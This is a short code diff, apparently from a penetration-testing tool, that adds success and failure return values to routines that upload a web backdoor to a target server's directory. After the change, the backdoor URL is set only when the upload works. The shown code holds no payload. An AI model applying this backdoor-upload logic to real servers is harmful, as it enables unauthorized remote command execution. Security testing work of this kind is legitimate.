@@ -79,8 +79,9 @@ def webBackdoorRunCmd(self, cmd):
7979
8080 def webFileUpload (self , fileToUpload , destFileName , directory ):
8181 inputFile = open (fileToUpload , "r" )
82- self .__webFileStreamUpload (inputFile , destFileName , directory )
82+ retVal = self .__webFileStreamUpload (inputFile , destFileName , directory )
8383 inputFile .close ()
84+ return retVal
8485
8586 def __webFileStreamUpload (self , stream , destFileName , directory ):
8687 if self .webApi == "php" :
@@ -95,6 +96,9 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
9596 warnMsg = "unable to upload the backdoor through "
9697 warnMsg += "the uploader agent on '%s'" % directory
9798 logger .warn (warnMsg )
99+ return False
100+ else :
101+ return True
98102
99103 elif self .webApi == "asp" :
100104 backdoorRemotePath = "%s/%s" % (directory , destFileName )
@@ -107,9 +111,12 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
107111 warnMsg = "unable to upload the backdoor through "
108112 warnMsg += "the uploader agent on '%s'" % directory
109113 logger .warn (warnMsg )
114+ return False
115+ else :
116+ return True
110117
111118 elif self .webApi == "jsp" :
112- pass
119+ return False
113120
114121 def webInit (self ):
115122 """
@@ -195,13 +202,17 @@ def webInit(self):
195202 infoMsg += "on '%s'" % directory
196203 logger .info (infoMsg )
197204
198- self .__webFileStreamUpload (backdoorStream , backdoorName , directory )
199- self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
200- self .webDirectory = directory
201-
202- infoMsg = "the backdoor has probably been successfully "
203- infoMsg += "uploaded on '%s', go with your browser " % directory
204- infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
205- logger .info (infoMsg )
205+ if self .__webFileStreamUpload (backdoorStream , backdoorName , directory ):
206+ self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
207+ self .webDirectory = directory
208+
209+ infoMsg = "the backdoor has probably been successfully "
210+ infoMsg += "uploaded on '%s', go with your browser " % directory
211+ infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
212+ logger .info (infoMsg )
213+ else :
214+ infoMsg = "the backdoor hasn't been successfully "
215+ infoMsg += "uploaded on '%s'" % directory
216+ logger .warn (infoMsg )
206217
207218 break
0 commit comments